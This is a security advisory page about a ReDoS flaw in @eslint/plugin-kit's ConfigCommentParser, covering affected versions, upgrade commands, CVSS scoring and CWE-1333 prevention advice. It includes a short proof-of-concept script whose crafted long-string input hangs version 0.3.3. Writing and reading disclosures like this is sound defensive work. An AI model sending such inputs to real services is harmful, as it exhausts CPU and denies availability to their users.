Skip to content

GHSA-xffm-g5w8-qvg7

@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser

Low npm
Severity
2.3 / 10
Low · CVSS 4.0
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1333 Inefficient Regular Expression Complexity
Fix
0.3.4
Upgrade @eslint/plugin-kit to this version or later

Description

Summary

The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.

Details

The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].

PoC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

const str = `${"A".repeat(1000000)}?: 1 B: 2`;

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")

// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage

Impact

This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.

Affected versions

npm

PackageVulnerableFixed in
@eslint/plugin-kit
< 0.3.4
0.3.4
@eslint/plugin-kit
< 0.3.4
0.3.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

@eslint/plugin-kit npm → 0.3.4

npm
npm install @eslint/plugin-kit@0.3.4
yarn
yarn add @eslint/plugin-kit@0.3.4
pnpm
pnpm add @eslint/plugin-kit@0.3.4

Severity breakdown

CVSS 4.0 2.3

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it
  • Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
  • System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
  • Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
  • Implementation: Limit the length of the input that the regular expression will process.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-7q7g-4xm8-89cq
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
High Also affects @eslint/plugin-kit
GHSA-7wch-p9px-956x
Forge: Regular expression denial of service in PEM decoding (pem.decode)
High Same weakness, CWE-1333
GHSA-xcq7-p3pf-p88h
OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api
Medium Same weakness, CWE-1333
GHSA-xgh8-jp6q-p5x8
Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
High Same weakness, CWE-1333
GHSA-rxp7-6hxx-x8q5
ip-address: Address6 matches a zone identifier in quadratic time ahead of its length limit, allowing a single long string to stall the process
Medium Same weakness, CWE-1333
GHSA-r925-mgvr-h9cc
Symfony: ReDoS in HeaderUtils::split() Reachable Through the Cache-Control Request Header
High Same weakness, CWE-1333
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Same weakness, CWE-1333
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Same weakness, CWE-1333

Credits: Qix-, ericcornelissen

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor